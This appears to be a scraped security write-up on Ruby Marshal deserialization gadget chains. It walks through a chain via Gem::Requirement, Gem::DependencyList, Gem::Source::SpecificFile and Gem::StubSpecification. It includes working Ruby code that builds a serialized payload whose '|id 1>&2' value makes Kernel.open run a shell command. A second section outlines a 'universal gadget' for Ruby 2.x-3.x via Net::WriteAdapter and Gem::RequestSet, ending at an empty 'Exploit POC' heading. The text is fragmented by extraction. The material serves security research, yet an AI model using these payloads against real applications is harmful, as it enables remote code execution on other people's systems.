https://www.elttam.com/blog/ruby-deserialization/
Important before begin reading
- Marshal.dump means serialize
- Marshal.load means unserialize
- When an object of a class is serialized,
marshal_dump
method (if defined in class) is called. - When an object of a class is underialized,
marshal_load
method (if defined in class) is called. - When a undefined method is called on an object,
method_missing
method (if defined in class) is called.
**Chaining begins
-
We can serialize
Gem::Requirement
with marshal_dump to set our controlled variable (@requirements) -
When we deserialize an object in ruby, marshal_load method of that object is called if defined.
Gem::Requirement.marshal_load
callsfix_syck_default_key_in_requirements
. -
Call to
fix_syck_default_key_in_requirements
leads a call to@requirements[0].each
meaningOUR_CONTROLLED_OBJECT.each
def marshal_dump # :nodoc:
fix_syck_default_key_in_requirements
[@requirements]
end
def marshal_load array # :nodoc:
@requirements = array[0]
fix_syck_default_key_in_requirements
end
def fix_syck_default_key_in_requirements # :nodoc:
Gem.load_yaml
# Fixup the Syck DefaultKey bug
@requirements.each do |r|
if r[0].kind_of? Gem::SyckDefaultKey
r[0] = "="
end
end
end
-
Gem::DependencyList
has customeach
method. If we set@requirements[0]
to object ofGem::DependencyList
we can callGem::DependencyList.each
. -
Gem::DependencyList.each
inturns callsGem::DependencyList.dependency_order
which inturns callsstrongly_connected_components
. This is defined inTsort
which is included inGem::DependencyList
. -
After a few calls in Tsort::strongly_connected_components (check https://github.com/ruby/ruby/blob/7cc0c53169759996f75eacd7cceb2ea8d47c57d7/lib/tsort.rb#L255) this will call
INCLUDER-CLASS.tsort_each_child
method hence we get a call onGem::DependencyList.tsort_each_child
leading to@specs.sort.reverse
. Giving a new capability to callsort
on@specs
instance variable.
require 'tsort'
include TSort
def each(&block)
dependency_order.each(&block)
end
def dependency_order
sorted = strongly_connected_components.flatten
...
end
def tsort_each_child(node)
specs = @specs.sort.reverse
...
end
sort
uses<=>
between array elements to compare.
- A custom implementation of
<=>
is inGem::Source::SpecificFile
. Which inturns callsname
on@spec
instance variable.
def <=> other
case other
when Gem::Source::SpecificFile then
return nil if @spec.name != other.spec.name
....
name
method inGem::StubSpecification
callsdata
which callsKernel.open
onloaded_from
instance variable. Thus completing the chain.
def name
data.name
end
def data
unless @data
begin
saved_lineno = $.
open loaded_from, OPEN_MODE do |file|
begin
class Gem::StubSpecification
def initialize
end
end
a = Gem::StubSpecification.new
a.instance_variable_set(:@loaded_from, '|id 1>&2')
class Gem::Source::SpecificFile
def initialize
end
end
b = Gem::Source::SpecificFile.new
c = Gem::Source::SpecificFile.new
b.instance_variable_set(:@spec, a)
class Gem::DependencyList
def initialize
end
end
@@d = Gem::DependencyList.new
@@d.instance_variable_set(:@specs, [b,c])
class Gem::Requirement
def marshal_dump
[@@d]
end
end
payload = Marshal.dump(Gem::Requirement.new)
pp = payload.unpack('H*')[0]
puts pp
Universal Deserialisation Gadget for Ruby 2.x-3.x
Gem::Requirements
to invoke each via marshal_load.Reference: https://gist.github.com/rootxharsh/844e901f79c036245f6e336134255ce2
each
method onGem::Package::TarReader
would give us access to.read
method invocation on our controlled object.There's a catch however, we need to return false from
@io.eof?
method and since@io
is an instance variable we can control it.Snippet of
Gem::Package::TarReader
It was found that
Net::BufferedIO
has an eof? method too and again we can control @io instance variable inside this classGem::Package::TarReader::Entry
also has aneof?
method which we can control with the help of@read
and@header
instance variables.so that means, we can pass the
eof?
condition inuntil loop
and would be able to callread
onNet::BufferedIO
read
onNet::BufferedIO
object gives us the ability to call LOG which inturn invokes this expression.where setting
@debug_output
toNet::WriteAdapter
will allow us to call<<
method with argumentmsg
which unfortunately is not in our control.and looking at
Net::WriteAdapter
class,<<
method is an alias towrite
method which looks something like this:As we can see @socket and @method_id is in our control. Thus, giving us the capability to call any method on an Object with one argument(which would not be in our control since it comes from LOG method)
Gem::RequestSet
class'resolve
methodto again invoke
<<
or say,write
method ofNet::WriteAdapter
with our controlled input this time since we can control@git_set
unlike inLOG
Method where argument was not in our controlGem::RequestSet#resolve
Exploit POC